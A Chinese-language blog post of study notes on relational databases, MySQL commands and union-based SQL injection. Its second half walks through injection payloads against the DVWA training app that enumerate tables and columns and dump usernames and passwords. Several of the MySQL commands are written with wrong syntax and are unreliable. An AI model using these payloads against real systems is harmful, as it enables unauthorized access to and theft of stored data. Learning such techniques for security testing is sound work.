Wray Lee
Articles35
Tags0
Categories0

Archive

数据库

数据库

数据库

  • 关系型:与表格相似mysql,Oracle,microsoft sql server , acess
  • 非关系型:分布式,不保证遵循acid原则,MongoDb、Redis、HBase

约束类型

  1. 主键约束(primary key):保证该字段具有非空且唯一性,一张表中只能由一个主键,主键是表中字段唯一标识
  2. 非空约束(not null):保证字段不为空
  3. 唯一约束(unique):保证该字段具有唯一性,但是可以为null
  4. 外键约束(foreign key):一个表中存在的另一个表的主键或唯一键成为此表的外键
  5. 默认约束(default):保证该字段有默认值

Mysql

数据库

连接数据库

mysql -u [database_name] -p [password]

查询数据库

show database

创建数据库

create [database_name]

删除数据库

drop [database_name]

进入数据库

use [database_name]

表table

查表

show tables

查看表描述

desc [table_name]

增删查改

  • 增:insert into 表名(键1,键2……) values(值1,值2……)

    多组字段 insert into 表名(key1,key2……) values(value1,value2)(value3,value4)

  • 改:update 表名 set 键名='值' where 条件(列值)

  • 删:

    物理删除:delete from 表名 where 条件

    逻辑删除

  • 查:

    select *(列名) from 表名

    select 列 from 表 where 条件

    select 列 from 表 by 某列 ASC(升序)/DESC(降序)

select GROUP_CONTACT(列) from 表 where 以行形式显示查询结果

select 列 from 表 order by 数字 显示的键数量,大于现有报错,小于则正常显示

select 列 from 表 limit 5 限制显示前5行

select 列 from 表 limit 5(偏移量),10(显示行数) 限制显示6-15行

select 数字(其他任意内容),数字(其他任意内容)…… 会根据显示位输出输入内容,数据库回显的列数固定,要满足显示位才有回显

SQL注入

注入位置

注入位置:GET,POST,HEAD头


字符串有单引号括上,数字无单引号

单引号可用#注释掉

union

union 关键字,联合查询,把两个select语句合并为一条语句,显示为一个结果。

联合查询下,两个select要相同字段数量(union要求查询表的列数和字段类型一致)

union all将全部数据直接合并在一起

union对合并之后的数据去重

information_schema 查询字段信息

注入流程

  1. 查询数据库类型(报错,datebase())
  2. 查库名
  3. 查表名
  4. 查列名
  5. 获取信息

查数据库类型

select * from 表名 where id='1' union select 1,database()

查询数据库表内容

0' union select 1,table_name from information_schema.tables where table_schema='dvwa

查列名

0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users

查信息

0' union select user,password from users#

返回所有数据

select * from 表明 where id=1 or 1=1

Author:Wray Lee
Link:http://blog.wray7.top/2023/09/04/Sql/%E6%95%B0%E6%8D%AE%E5%BA%93/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可